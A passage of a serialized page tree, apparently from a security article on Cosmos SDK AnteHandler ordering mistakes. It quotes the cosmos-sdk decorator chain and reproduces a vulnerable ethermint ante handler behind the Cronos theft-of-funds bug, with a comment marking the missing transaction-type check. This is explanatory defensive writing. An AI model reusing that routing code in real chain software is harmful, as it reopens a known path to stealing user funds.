value":78110}," sdkerrors",{"type":23,"tag":314,"props":78112,"children":78113},{"style":338},[78114],{"type":28,"value":282},{"type":23,"tag":314,"props":78116,"children":78117},{"style":360},[78118],{"type":28,"value":78119},"ErrTxDecode",{"type":23,"tag":314,"props":78121,"children":78122},{"style":338},[78123],{"type":28,"value":1870},{"type":23,"tag":314,"props":78125,"children":78126},{"class":316,"line":1452},[78127,78132],{"type":23,"tag":314,"props":78128,"children":78129},{"style":1245},[78130],{"type":28,"value":78131}," \"invalid tx type\"",{"type":23,"tag":314,"props":78133,"children":78134},{"style":338},[78135],{"type":28,"value":1870},{"type":23,"tag":314,"props":78137,"children":78138},{"class":316,"line":1497},[78139],{"type":23,"tag":314,"props":78140,"children":78141},{"style":338},[78142],{"type":28,"value":67574},{"type":23,"tag":314,"props":78144,"children":78145},{"class":316,"line":1539},[78146],{"type":23,"tag":314,"props":78147,"children":78148},{"style":338},[78149],{"type":28,"value":2610},{"type":23,"tag":314,"props":78151,"children":78152},{"class":316,"line":1548},[78153],{"type":23,"tag":314,"props":78154,"children":78155},{"emptyLinePlaceholder":18},[78156],{"type":28,"value":1088},{"type":23,"tag":314,"props":78158,"children":78159},{"class":316,"line":1584},[78160,78165,78169,78174,78178,78183],{"type":23,"tag":314,"props":78161,"children":78162},{"style":360},[78163],{"type":28,"value":78164}," signers",{"type":23,"tag":314,"props":78166,"children":78167},{"style":354},[78168],{"type":28,"value":75669},{"type":23,"tag":314,"props":78170,"children":78171},{"style":360},[78172],{"type":28,"value":78173}," sigTx",{"type":23,"tag":314,"props":78175,"children":78176},{"style":338},[78177],{"type":28,"value":282},{"type":23,"tag":314,"props":78179,"children":78180},{"style":332},[78181],{"type":28,"value":78182},"GetSigners",{"type":23,"tag":314,"props":78184,"children":78185},{"style":338},[78186],{"type":28,"value":6990},{"type":23,"tag":314,"props":78188,"children":78189},{"class":316,"line":1617},[78190,78194,78198,78202,78206,78210,78214,78219],{"type":23,"tag":314,"props":78191,"children":78192},{"style":2284},[78193],{"type":28,"value":2287},{"type":23,"tag":314,"props":78195,"children":78196},{"style":360},[78197],{"type":28,"value":2653},{"type":23,"tag":314,"props":78199,"children":78200},{"style":338},[78201],{"type":28,"value":778},{"type":23,"tag":314,"props":78203,"children":78204},{"style":360},[78205],{"type":28,"value":6401},{"type":23,"tag":314,"props":78207,"children":78208},{"style":354},[78209],{"type":28,"value":75669},{"type":23,"tag":314,"props":78211,"children":78212},{"style":2284},[78213],{"type":28,"value":76651},{"type":23,"tag":314,"props":78215,"children":78216},{"style":360},[78217],{"type":28,"value":78218}," signers",{"type":23,"tag":314,"props":78220,"children":78221},{"style":338},[78222],{"type":28,"value":1449},{"type":23,"tag":314,"props":78224,"children":78225},{"class":316,"line":1625},[78226,78231,78235,78240,78244,78249,78253,78258,78262,78266,78270,78274,78278,78283],{"type":23,"tag":314,"props":78227,"children":78228},{"style":360},[78229],{"type":28,"value":78230}," balance",{"type":23,"tag":314,"props":78232,"children":78233},{"style":354},[78234],{"type":28,"value":75669},{"type":23,"tag":314,"props":78236,"children":78237},{"style":360},[78238],{"type":28,"value":78239}," abd",{"type":23,"tag":314,"props":78241,"children":78242},{"style":338},[78243],{"type":28,"value":282},{"type":23,"tag":314,"props":78245,"children":78246},{"style":360},[78247],{"type":28,"value":78248},"bk",{"type":23,"tag":314,"props":78250,"children":78251},{"style":338},[78252],{"type":28,"value":282},{"type":23,"tag":314,"props":78254,"children":78255},{"style":332},[78256],{"type":28,"value":78257},"getBalance",{"type":23,"tag":314,"props":78259,"children":78260},{"style":338},[78261],{"type":28,"value":341},{"type":23,"tag":314,"props":78263,"children":78264},{"style":360},[78265],{"type":28,"value":19518},{"type":23,"tag":314,"props":78267,"children":78268},{"style":338},[78269],{"type":28,"value":778},{"type":23,"tag":314,"props":78271,"children":78272},{"style":360},[78273],{"type":28,"value":6401},{"type":23,"tag":314,"props":78275,"children":78276},{"style":338},[78277],{"type":28,"value":778},{"type":23,"tag":314,"props":78279,"children":78280},{"style":360},[78281],{"type":28,"value":78282},"ATOM",{"type":23,"tag":314,"props":78284,"children":78285},{"style":338},[78286],{"type":28,"value":2414},{"type":23,"tag":314,"props":78288,"children":78289},{"class":316,"line":1660},[78290,78294,78299,78303,78308,78312,78317],{"type":23,"tag":314,"props":78291,"children":78292},{"style":2284},[78293],{"type":28,"value":2527},{"type":23,"tag":314,"props":78295,"children":78296},{"style":360},[78297],{"type":28,"value":78298}," balance",{"type":23,"tag":314,"props":78300,"children":78301},{"style":338},[78302],{"type":28,"value":282},{"type":23,"tag":314,"props":78304,"children":78305},{"style":360},[78306],{"type":28,"value":78307},"Amount",{"type":23,"tag":314,"props":78309,"children":78310},{"style":354},[78311],{"type":28,"value":7971},{"type":23,"tag":314,"props":78313,"children":78314},{"style":360},[78315],{"type":28,"value":78316}," MIN_BALANCE",{"type":23,"tag":314,"props":78318,"children":78319},{"style":338},[78320],{"type":28,"value":1449},{"type":23,"tag":314,"props":78322,"children":78323},{"class":316,"line":1708},[78324,78329,78333,78337,78341,78345,78349],{"type":23,"tag":314,"props":78325,"children":78326},{"style":2284},[78327],{"type":28,"value":78328}," return",{"type":23,"tag":314,"props":78330,"children":78331},{"style":360},[78332],{"type":28,"value":25089},{"type":23,"tag":314,"props":78334,"children":78335},{"style":338},[78336],{"type":28,"value":778},{"type":23,"tag":314,"props":78338,"children":78339},{"style":360},[78340],{"type":28,"value":78089},{"type":23,"tag":314,"props":78342,"children":78343},{"style":338},[78344],{"type":28,"value":282},{"type":23,"tag":314,"props":78346,"children":78347},{"style":332},[78348],{"type":28,"value":78098},{"type":23,"tag":314,"props":78350,"children":78351},{"style":338},[78352],{"type":28,"value":2719},{"type":23,"tag":314,"props":78354,"children":78355},{"class":316,"line":1743},[78356,78361],{"type":23,"tag":314,"props":78357,"children":78358},{"style":360},[78359],{"type":28,"value":78360}," ErrInsufficientBalance",{"type":23,"tag":314,"props":78362,"children":78363},{"style":338},[78364],{"type":28,"value":1870},{"type":23,"tag":314,"props":78366,"children":78367},{"class":316,"line":1751},[78368,78373],{"type":23,"tag":314,"props":78369,"children":78370},{"style":1245},[78371],{"type":28,"value":78372}," \"Insufficient Balance\"",{"type":23,"tag":314,"props":78374,"children":78375},{"style":338},[78376],{"type":28,"value":1870},{"type":23,"tag":314,"props":78378,"children":78379},{"class":316,"line":1791},[78380],{"type":23,"tag":314,"props":78381,"children":78382},{"style":338},[78383],{"type":28,"value":76767},{"type":23,"tag":314,"props":78385,"children":78386},{"class":316,"line":1805},[78387],{"type":23,"tag":314,"props":78388,"children":78389},{"style":338},[78390],{"type":28,"value":2602},{"type":23,"tag":314,"props":78392,"children":78393},{"class":316,"line":1818},[78394],{"type":23,"tag":314,"props":78395,"children":78396},{"style":338},[78397],{"type":28,"value":2610},{"type":23,"tag":314,"props":78399,"children":78400},{"class":316,"line":1873},[78401],{"type":23,"tag":314,"props":78402,"children":78403},{"emptyLinePlaceholder":18},[78404],{"type":28,"value":1088},{"type":23,"tag":314,"props":78406,"children":78407},{"class":316,"line":1891},[78408,78412,78417,78421,78425,78429,78434,78438,78443],{"type":23,"tag":314,"props":78409,"children":78410},{"style":2284},[78411],{"type":28,"value":16228},{"type":23,"tag":314,"props":78413,"children":78414},{"style":332},[78415],{"type":28,"value":78416}," next",{"type":23,"tag":314,"props":78418,"children":78419},{"style":338},[78420],{"type":28,"value":341},{"type":23,"tag":314,"props":78422,"children":78423},{"style":360},[78424],{"type":28,"value":19518},{"type":23,"tag":314,"props":78426,"children":78427},{"style":338},[78428],{"type":28,"value":778},{"type":23,"tag":314,"props":78430,"children":78431},{"style":360},[78432],{"type":28,"value":78433},"tx",{"type":23,"tag":314,"props":78435,"children":78436},{"style":338},[78437],{"type":28,"value":778},{"type":23,"tag":314,"props":78439,"children":78440},{"style":360},[78441],{"type":28,"value":78442},"simulate",{"type":23,"tag":314,"props":78444,"children":78445},{"style":338},[78446],{"type":28,"value":2414},{"type":23,"tag":314,"props":78448,"children":78449},{"class":316,"line":1899},[78450],{"type":23,"tag":314,"props":78451,"children":78452},{"style":338},[78453],{"type":28,"value":386},{"type":23,"tag":24,"props":78455,"children":78456},{},[78457,78459,78464,78466,78472,78474,78480],{"type":28,"value":78458},"Where should this custom ",{"type":23,"tag":94,"props":78460,"children":78462},{"className":78461},[],[78463],{"type":28,"value":77722},{"type":28,"value":78465}," be placed relative to other ",{"type":23,"tag":94,"props":78467,"children":78469},{"className":78468},[],[78470],{"type":28,"value":78471},"AnteHandlers",{"type":28,"value":78473}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":94,"props":78475,"children":78477},{"className":78476},[],[78478],{"type":28,"value":78479},"SetUpContextDecorator",{"type":28,"value":78481}," should work, right?",{"type":23,"tag":24,"props":78483,"children":78484},{},[78485],{"type":23,"tag":31,"props":78486,"children":78489},{"href":78487,"rel":78488},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[35],[78490],{"type":28,"value":75991},{"type":23,"tag":304,"props":78492,"children":78494},{"code":78493,"language":75417,"meta":7,"className":75418,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[78495],{"type":23,"tag":94,"props":78496,"children":78497},{"__ignoreMap":7},[78498,78531,78548,78556,78585,78597,78609,78638,78666,78745,78778,78806,78851,78896,78924],{"type":23,"tag":314,"props":78499,"children":78500},{"class":316,"line":317},[78501,78506,78510,78514,78518,78522,78527],{"type":23,"tag":314,"props":78502,"children":78503},{"style":360},[78504],{"type":28,"value":78505},"anteDecorators",{"type":23,"tag":314,"props":78507,"children":78508},{"style":354},[78509],{"type":28,"value":75669},{"type":23,"tag":314,"props":78511,"children":78512},{"style":338},[78513],{"type":28,"value":75480},{"type":23,"tag":314,"props":78515,"children":78516},{"style":2674},[78517],{"type":28,"value":77982},{"type":23,"tag":314,"props":78519,"children":78520},{"style":338},[78521],{"type":28,"value":282},{"type":23,"tag":314,"props":78523,"children":78524},{"style":2674},[78525],{"type":28,"value":78526},"AnteDecorator",{"type":23,"tag":314,"props":78528,"children":78529},{"style":338},[78530],{"type":28,"value":10129},{"type":23,"tag":314,"props":78532,"children":78533},{"class":316,"line":370},[78534,78539,78543],{"type":23,"tag":314,"props":78535,"children":78536},{"style":332},[78537],{"type":28,"value":78538}," NewSetUpContextDecorator",{"type":23,"tag":314,"props":78540,"children":78541},{"style":338},[78542],{"type":28,"value":17613},{"type":23,"tag":314,"props":78544,"children":78545},{"style":374},[78546],{"type":28,"value":78547},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":314,"props":78549,"children":78550},{"class":316,"line":380},[78551],{"type":23,"tag":314,"props":78552,"children":78553},{"style":374},[78554],{"type":28,"value":78555}," // INSERT HERE\n",{"type":23,"tag":314,"props":78557,"children":78558},{"class":316,"line":1091},[78559,78564,78568,78572,78576,78581],{"type":23,"tag":314,"props":78560,"children":78561},{"style":332},[78562],{"type":28,"value":78563}," NewExtensionOptionsDecorator",{"type":23,"tag":314,"props":78565,"children":78566},{"style":338},[78567],{"type":28,"value":341},{"type":23,"tag":314,"props":78569,"children":78570},{"style":360},[78571],{"type":28,"value":35287},{"type":23,"tag":314,"props":78573,"children":78574},{"style":338},[78575],{"type":28,"value":282},{"type":23,"tag":314,"props":78577,"children":78578},{"style":360},[78579],{"type":28,"value":78580},"ExtensionOptionChecker",{"type":23,"tag":314,"props":78582,"children":78583},{"style":338},[78584],{"type":28,"value":5992},{"type":23,"tag":314,"props":78586,"children":78587},{"class":316,"line":1141},[78588,78593],{"type":23,"tag":314,"props":78589,"children":78590},{"style":332},[78591],{"type":28,"value":78592}," NewValidateBasicDecorator",{"type":23,"tag":314,"props":78594,"children":78595},{"style":338},[78596],{"type":28,"value":2747},{"type":23,"tag":314,"props":78598,"children":78599},{"class":316,"line":1173},[78600,78605],{"type":23,"tag":314,"props":78601,"children":78602},{"style":332},[78603],{"type":28,"value":78604}," NewTxTimeoutHeightDecorator",{"type":23,"tag":314,"props":78606,"children":78607},{"style":338},[78608],{"type":28,"value":2747},{"type":23,"tag":314,"props":78610,"children":78611},{"class":316,"line":1208},[78612,78617,78621,78625,78629,78634],{"type":23,"tag":314,"props":78613,"children":78614},{"style":332},[78615],{"type":28,"value":78616}," NewValidateMemoDecorator",{"type":23,"tag":314,"props":78618,"children":78619},{"style":338},[78620],{"type":28,"value":341},{"type":23,"tag":314,"props":78622,"children":78623},{"style":360},[78624],{"type":28,"value":35287},{"type":23,"tag":314,"props":78626,"children":78627},{"style":338},[78628],{"type":28,"value":282},{"type":23,"tag":314,"props":78630,"children":78631},{"style":360},[78632],{"type":28,"value":78633},"AccountKeeper",{"type":23,"tag":314,"props":78635,"children":78636},{"style":338},[78637],{"type":28,"value":5992},{"type":23,"tag":314,"props":78639,"children":78640},{"class":316,"line":1216},[78641,78646,78650,78654,78658,78662],{"type":23,"tag":314,"props":78642,"children":78643},{"style":332},[78644],{"type":28,"value":78645}," NewConsumeGasForTxSizeDecorator",{"type":23,"tag":314,"props":78647,"children":78648},{"style":338},[78649],{"type":28,"value":341},{"type":23,"tag":314,"props":78651,"children":78652},{"style":360},[78653],{"type":28,"value":35287},{"type":23,"tag":314,"props":78655,"children":78656},{"style":338},[78657],{"type":28,"value":282},{"type":23,"tag":314,"props":78659,"children":78660},{"style":360},[78661],{"type":28,"value":78633},{"type":23,"tag":314,"props":78663,"children":78664},{"style":338},[78665],{"type":28,"value":5992},{"type":23,"tag":314,"props":78667,"children":78668},{"class":316,"line":1301},[78669,78674,78678,78682,78686,78690,78694,78698,78702,78707,78711,78715,78719,78724,78728,78732,78736,78741],{"type":23,"tag":314,"props":78670,"children":78671},{"style":332},[78672],{"type":28,"value":78673}," NewDeductFeeDecorator",{"type":23,"tag":314,"props":78675,"children":78676},{"style":338},[78677],{"type":28,"value":341},{"type":23,"tag":314,"props":78679,"children":78680},{"style":360},[78681],{"type":28,"value":35287},{"type":23,"tag":314,"props":78683,"children":78684},{"style":338},[78685],{"type":28,"value":282},{"type":23,"tag":314,"props":78687,"children":78688},{"style":360},[78689],{"type":28,"value":78633},{"type":23,"tag":314,"props":78691,"children":78692},{"style":338},[78693],{"type":28,"value":778},{"type":23,"tag":314,"props":78695,"children":78696},{"style":360},[78697],{"type":28,"value":35287},{"type":23,"tag":314,"props":78699,"children":78700},{"style":338},[78701],{"type":28,"value":282},{"type":23,"tag":314,"props":78703,"children":78704},{"style":360},[78705],{"type":28,"value":78706},"BankKeeper",{"type":23,"tag":314,"props":78708,"children":78709},{"style":338},[78710],{"type":28,"value":778},{"type":23,"tag":314,"props":78712,"children":78713},{"style":360},[78714],{"type":28,"value":35287},{"type":23,"tag":314,"props":78716,"children":78717},{"style":338},[78718],{"type":28,"value":282},{"type":23,"tag":314,"props":78720,"children":78721},{"style":360},[78722],{"type":28,"value":78723},"FeegrantKeeper",{"type":23,"tag":314,"props":78725,"children":78726},{"style":338},[78727],{"type":28,"value":778},{"type":23,"tag":314,"props":78729,"children":78730},{"style":360},[78731],{"type":28,"value":35287},{"type":23,"tag":314,"props":78733,"children":78734},{"style":338},[78735],{"type":28,"value":282},{"type":23,"tag":314,"props":78737,"children":78738},{"style":360},[78739],{"type":28,"value":78740},"TxFeeChecker",{"type":23,"tag":314,"props":78742,"children":78743},{"style":338},[78744],{"type":28,"value":5992},{"type":23,"tag":314,"props":78746,"children":78747},{"class":316,"line":1343},[78748,78753,78757,78761,78765,78769,78773],{"type":23,"tag":314,"props":78749,"children":78750},{"style":332},[78751],{"type":28,"value":78752}," NewSetPubKeyDecorator",{"type":23,"tag":314,"props":78754,"children":78755},{"style":338},[78756],{"type":28,"value":341},{"type":23,"tag":314,"props":78758,"children":78759},{"style":360},[78760],{"type":28,"value":35287},{"type":23,"tag":314,"props":78762,"children":78763},{"style":338},[78764],{"type":28,"value":282},{"type":23,"tag":314,"props":78766,"children":78767},{"style":360},[78768],{"type":28,"value":78633},{"type":23,"tag":314,"props":78770,"children":78771},{"style":338},[78772],{"type":28,"value":14419},{"type":23,"tag":314,"props":78774,"children":78775},{"style":374},[78776],{"type":28,"value":78777},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":314,"props":78779,"children":78780},{"class":316,"line":1351},[78781,78786,78790,78794,78798,78802],{"type":23,"tag":314,"props":78782,"children":78783},{"style":332},[78784],{"type":28,"value":78785}," NewValidateSigCountDecorator",{"type":23,"tag":314,"props":78787,"children":78788},{"style":338},[78789],{"type":28,"value":341},{"type":23,"tag":314,"props":78791,"children":78792},{"style":360},[78793],{"type":28,"value":35287},{"type":23,"tag":314,"props":78795,"children":78796},{"style":338},[78797],{"type":28,"value":282},{"type":23,"tag":314,"props":78799,"children":78800},{"style":360},[78801],{"type":28,"value":78633},{"type":23,"tag":314,"props":78803,"children":78804},{"style":338},[78805],{"type":28,"value":5992},{"type":23,"tag":314,"props":78807,"children":78808},{"class":316,"line":1387},[78809,78814,78818,78822,78826,78830,78834,78838,78842,78847],{"type":23,"tag":314,"props":78810,"children":78811},{"style":332},[78812],{"type":28,"value":78813}," NewSigGasConsumeDecorator",{"type":23,"tag":314,"props":78815,"children":78816},{"style":338},[78817],{"type":28,"value":341},{"type":23,"tag":314,"props":78819,"children":78820},{"style":360},[78821],{"type":28,"value":35287},{"type":23,"tag":314,"props":78823,"children":78824},{"style":338},[78825],{"type":28,"value":282},{"type":23,"tag":314,"props":78827,"children":78828},{"style":360},[78829],{"type":28,"value":78633},{"type":23,"tag":314,"props":78831,"children":78832},{"style":338},[78833],{"type":28,"value":778},{"type":23,"tag":314,"props":78835,"children":78836},{"style":360},[78837],{"type":28,"value":35287},{"type":23,"tag":314,"props":78839,"children":78840},{"style":338},[78841],{"type":28,"value":282},{"type":23,"tag":314,"props":78843,"children":78844},{"style":360},[78845],{"type":28,"value":78846},"SigGasConsumer",{"type":23,"tag":314,"props":78848,"children":78849},{"style":338},[78850],{"type":28,"value":5992},{"type":23,"tag":314,"props":78852,"children":78853},{"class":316,"line":1422},[78854,78859,78863,78867,78871,78875,78879,78883,78887,78892],{"type":23,"tag":314,"props":78855,"children":78856},{"style":332},[78857],{"type":28,"value":78858}," NewSigVerificationDecorator",{"type":23,"tag":314,"props":78860,"children":78861},{"style":338},[78862],{"type":28,"value":341},{"type":23,"tag":314,"props":78864,"children":78865},{"style":360},[78866],{"type":28,"value":35287},{"type":23,"tag":314,"props":78868,"children":78869},{"style":338},[78870],{"type":28,"value":282},{"type":23,"tag":314,"props":78872,"children":78873},{"style":360},[78874],{"type":28,"value":78633},{"type":23,"tag":314,"props":78876,"children":78877},{"style":338},[78878],{"type":28,"value":778},{"type":23,"tag":314,"props":78880,"children":78881},{"style":360},[78882],{"type":28,"value":35287},{"type":23,"tag":314,"props":78884,"children":78885},{"style":338},[78886],{"type":28,"value":282},{"type":23,"tag":314,"props":78888,"children":78889},{"style":360},[78890],{"type":28,"value":78891},"SignModeHandler",{"type":23,"tag":314,"props":78893,"children":78894},{"style":338},[78895],{"type":28,"value":5992},{"type":23,"tag":314,"props":78897,"children":78898},{"class":316,"line":1430},[78899,78904,78908,78912,78916,78920],{"type":23,"tag":314,"props":78900,"children":78901},{"style":332},[78902],{"type":28,"value":78903}," NewIncrementSequenceDecorator",{"type":23,"tag":314,"props":78905,"children":78906},{"style":338},[78907],{"type":28,"value":341},{"type":23,"tag":314,"props":78909,"children":78910},{"style":360},[78911],{"type":28,"value":35287},{"type":23,"tag":314,"props":78913,"children":78914},{"style":338},[78915],{"type":28,"value":282},{"type":23,"tag":314,"props":78917,"children":78918},{"style":360},[78919],{"type":28,"value":78633},{"type":23,"tag":314,"props":78921,"children":78922},{"style":338},[78923],{"type":28,"value":5992},{"type":23,"tag":314,"props":78925,"children":78926},{"class":316,"line":1452},[78927],{"type":23,"tag":314,"props":78928,"children":78929},{"style":338},[78930],{"type":28,"value":386},{"type":23,"tag":24,"props":78932,"children":78933},{},[78934,78936,78941,78943,78949,78950,78956],{"type":28,"value":78935},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":94,"props":78937,"children":78939},{"className":78938},[],[78940],{"type":28,"value":78471},{"type":28,"value":78942},", such as ",{"type":23,"tag":94,"props":78944,"children":78946},{"className":78945},[],[78947],{"type":28,"value":78948},"SigGasConsumeDecorator",{"type":28,"value":557},{"type":23,"tag":94,"props":78951,"children":78953},{"className":78952},[],[78954],{"type":28,"value":78955},"ConsumeGasForTxSizeDecorator",{"type":28,"value":78957},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":24,"props":78959,"children":78960},{},[78961,78963,78969,78971,78976],{"type":28,"value":78962},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":94,"props":78964,"children":78966},{"className":78965},[],[78967],{"type":28,"value":78968},"msgs",{"type":28,"value":78970}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":94,"props":78972,"children":78974},{"className":78973},[],[78975],{"type":28,"value":77797},{"type":28,"value":78977}," chain.",{"type":23,"tag":837,"props":78979,"children":78981},{"id":78980},"real-world-examples-2",[78982],{"type":28,"value":75941},{"type":23,"tag":24,"props":78984,"children":78985},{},[78986,78988,78993,78995,79002],{"type":28,"value":78987},"An instance of ",{"type":23,"tag":94,"props":78989,"children":78991},{"className":78990},[],[78992],{"type":28,"value":77722},{"type":28,"value":78994}," misuse is a ",{"type":23,"tag":31,"props":78996,"children":78999},{"href":78997,"rel":78998},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[35],[79000],{"type":28,"value":79001},"Theft of Fund bug",{"type":28,"value":79003}," that was exploited in a Cronos contract.",{"type":23,"tag":24,"props":79005,"children":79006},{},[79007,79009,79014,79016,79021,79023,79029,79031,79037,79039,79044,79046,79051],{"type":28,"value":79008},"In this scenario, ",{"type":23,"tag":94,"props":79010,"children":79012},{"className":79011},[],[79013],{"type":28,"value":78968},{"type":28,"value":79015}," are multiplexed to different ",{"type":23,"tag":94,"props":79017,"children":79019},{"className":79018},[],[79020],{"type":28,"value":77722},{"type":28,"value":79022}," sets through the user-controlled ",{"type":23,"tag":94,"props":79024,"children":79026},{"className":79025},[],[79027],{"type":28,"value":79028},"ExtensionOptionsEthereumTx",{"type":28,"value":79030}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":94,"props":79032,"children":79034},{"className":79033},[],[79035],{"type":28,"value":79036},"MsgEthereumTx",{"type":28,"value":79038}," does not have ",{"type":23,"tag":94,"props":79040,"children":79042},{"className":79041},[],[79043],{"type":28,"value":79028},{"type":28,"value":79045}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":94,"props":79047,"children":79049},{"className":79048},[],[79050],{"type":28,"value":78471},{"type":28,"value":79052},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":24,"props":79054,"children":79055},{},[79056],{"type":23,"tag":31,"props":79057,"children":79060},{"href":79058,"rel":79059},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[35],[79061],{"type":28,"value":75991},{"type":23,"tag":304,"props":79063,"children":79065},{"code":79064,"language":75417,"meta":7,"className":75418,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[79066],{"type":23,"tag":94,"props":79067,"children":79068},{"__ignoreMap":7},[79069,79085,79110,79134,79151,79176,79202,79227,79250,79266,79322,79363,79389,79396,79442,79449,79495,79511,79541,79576,79628,79645,79653,79660,79689,79705,79713,79739,79747,79754,79766,79800,79846,79858,79865,79872,79879,79918,79925,79932,79939,79947,79954,79978,80002,80030,80055,80063,80096,80103,80115,80146,80201,80214,80222,80230,80238,80278,80286],{"type":23,"tag":314,"props":79070,"children":79071},{"class":316,"line":317},[79072,79076,79081],{"type":23,"tag":314,"props":79073,"children":79074},{"style":321},[79075],{"type":28,"value":75553},{"type":23,"tag":314,"props":79077,"children":79078},{"style":332},[79079],{"type":28,"value":79080}," NewAnteHandler",{"type":23,"tag":314,"props":79082,"children":79083},{"style":338},[79084],{"type":28,"value":2719},{"type":23,"tag":314,"props":79086,"children":79087},{"class":316,"line":370},[79088,79093,79098,79102,79106],{"type":23,"tag":314,"props":79089,"children":79090},{"style":360},[79091],{"type":28,"value":79092}," ak",{"type":23,"tag":314,"props":79094,"children":79095},{"style":2674},[79096],{"type":28,"value":79097}," evmtypes",{"type":23,"tag":314,"props":79099,"children":79100},{"style":338},[79101],{"type":28,"value":282},{"type":23,"tag":314,"props":79103,"children":79104},{"style":2674},[79105],{"type":28,"value":78633},{"type":23,"tag":314,"props":79107,"children":79108},{"style":338},[79109],{"type":28,"value":1870},{"type":23,"tag":314,"props":79111,"children":79112},{"class":316,"line":380},[79113,79118,79122,79126,79130],{"type":23,"tag":314,"props":79114,"children":79115},{"style":360},[79116],{"type":28,"value":79117}," bankKeeper",{"type":23,"tag":314,"props":79119,"children":79120},{"style":2674},[79121],{"type":28,"value":79097},{"type":23,"tag":314,"props":79123,"children":79124},{"style":338},[79125],{"type":28,"value":282},{"type":23,"tag":314,"props":79127,"children":79128},{"style":2674},[79129],{"type":28,"value":78706},{"type":23,"tag":314,"props":79131,"children":79132},{"style":338},[79133],{"type":28,"value":1870},{"type":23,"tag":314,"props":79135,"children":79136},{"class":316,"line":1091},[79137,79142,79147],{"type":23,"tag":314,"props":79138,"children":79139},{"style":360},[79140],{"type":28,"value":79141}," evmKeeper",{"type":23,"tag":314,"props":79143,"children":79144},{"style":2674},[79145],{"type":28,"value":79146}," EVMKeeper",{"type":23,"tag":314,"props":79148,"children":79149},{"style":338},[79150],{"type":28,"value":1870},{"type":23,"tag":314,"props":79152,"children":79153},{"class":316,"line":1141},[79154,79159,79164,79168,79172],{"type":23,"tag":314,"props":79155,"children":79156},{"style":360},[79157],{"type":28,"value":79158}," feeGrantKeeper",{"type":23,"tag":314,"props":79160,"children":79161},{"style":2674},[79162],{"type":28,"value":79163}," authante",{"type":23,"tag":314,"props":79165,"children":79166},{"style":338},[79167],{"type":28,"value":282},{"type":23,"tag":314,"props":79169,"children":79170},{"style":2674},[79171],{"type":28,"value":78723},{"type":23,"tag":314,"props":79173,"children":79174},{"style":338},[79175],{"type":28,"value":1870},{"type":23,"tag":314,"props":79177,"children":79178},{"class":316,"line":1173},[79179,79184,79189,79193,79198],{"type":23,"tag":314,"props":79180,"children":79181},{"style":360},[79182],{"type":28,"value":79183}," channelKeeper",{"type":23,"tag":314,"props":79185,"children":79186},{"style":2674},[79187],{"type":28,"value":79188}," 